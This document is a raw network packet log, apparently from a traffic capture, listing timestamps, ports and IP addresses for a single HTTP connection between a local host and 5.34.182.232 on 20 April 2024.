Apr 20, 2024 10:22:55.740185022 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.740200996 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.740222931 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.740241051 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.740259886 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.740277052 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.740298033 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.740317106 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.740354061 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980305910 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980367899 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980408907 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980418921 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980447054 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980449915 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980468035 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980485916 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980496883 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980524063 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980544090 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980561972 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980570078 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980600119 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980623960 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980639935 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980668068 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980678082 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980693102 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980715990 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980731010 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980752945 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980770111 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980791092 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980811119 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980828047 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980849028 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980865002 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980880976 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980902910 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980926037 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980938911 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980956078 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.980979919 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.980998039 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.981018066 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.981045961 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.981067896 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.981077909 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.981117964 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.981137037 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.981157064 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.981174946 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.981199026 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.981225967 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.981236935 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.981266975 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.981275082 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.981285095 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.981316090 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.981338978 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.981354952 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.981369019 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.981391907 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.981411934 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.981429100 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.981447935 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.981482983 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.983374119 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983412981 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983434916 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.983453989 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983465910 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.983553886 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983573914 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.983592033 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983612061 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.983630896 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983649015 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.983668089 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983686924 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.983705044 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983726978 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.983741045 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983768940 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.983778954 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983795881 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.983814955 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983831882 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.983856916 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983877897 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.983896971 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983936071 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983942986 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.983942986 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.983975887 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.983988047 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.984013081 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.984029055 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.984052896 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.984071016 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.984088898 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.984143019 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.984143972 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.984149933 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.984188080 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.984205961 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.984225988 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.984247923 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.984267950 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.984285116 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.984306097 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.984327078 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.984343052 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.984363079 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.984380007 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.984400034 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.984416008 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.984453917 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.984455109 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.984476089 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.984508038 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.224296093 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.224378109 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.224415064 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.224437952 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.224448919 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.224464893 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.224488020 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.224509001 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.224548101 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.224584103 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.224585056 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.224623919 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.224744081 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.224919081 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.225116968 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.464762926 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.464838982 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.464879036 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.464900970 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.464916945 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.464956045 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.464967012 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.464997053 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.465030909 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.465046883 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.465068102 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.465105057 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.465118885 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.465142965 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.465182066 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.465188026 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.465221882 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.465259075 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.465275049 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.507778883 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.705564022 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.705693007 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.705714941 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.705735922 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.705773115 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.705811024 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.705832958 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.705840111 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.705852032 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.705873013 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.705894947 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.705916882 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.705952883 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.705981970 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.705991030 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706012964 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706034899 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706058025 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706077099 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706096888 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706120014 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706139088 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706159115 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706196070 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706214905 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.706231117 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706248045 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.706269026 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706304073 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706321001 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.706340075 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706376076 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706393003 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.706413984 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706449986 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706468105 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.706486940 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706523895 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706552029 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.706559896 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706598043 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706618071 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.706636906 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706672907 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706687927 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.706708908 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706746101 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706762075 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.706785917 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706825972 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706837893 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.706864119 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706903934 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706921101 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.706939936 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706975937 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.706984043 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.707010984 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707046986 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707056999 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.707082987 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707118034 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707149982 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.707155943 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707192898 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707206964 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.707228899 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707267046 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707282066 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.707303047 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707338095 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707356930 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.707374096 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707410097 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707426071 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.707447052 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707483053 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707499027 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.707520008 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707556963 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707571030 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.707592964 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707631111 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707654953 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.707668066 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707704067 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707720041 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.707741022 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707777977 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707794905 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.707817078 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707853079 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707868099 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.707890034 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707926989 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707942963 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.707962990 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.707998037 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708013058 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.708034039 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708070040 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708086967 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.708137989 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708175898 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708188057 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.708215952 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708252907 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708270073 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.708288908 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708328962 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708344936 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.708365917 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708401918 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708416939 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.708439112 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708475113 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708491087 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.708513975 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708550930 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708570004 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.708585978 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708626986 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708638906 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.708663940 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708700895 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708717108 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.708736897 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708774090 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708790064 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.708811045 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708846092 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708864927 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.708882093 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708920956 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708940029 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.708956957 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.708995104 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709005117 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709031105 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709067106 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709081888 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709103107 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709139109 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709153891 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709176064 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709212065 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709227085 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709249020 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709285975 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709300995 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709321976 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709358931 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709377050 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709394932 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709430933 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709446907 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709466934 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709501982 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709518909 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709538937 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709574938 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709595919 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709623098 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709661007 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709677935 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709698915 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709719896 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709734917 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709750891 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709772110 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709785938 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709809065 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709835052 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709846020 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709856033 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:56.709882021 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:56.709896088 CEST	49708	80	192.168.2.5	5.34.182.232
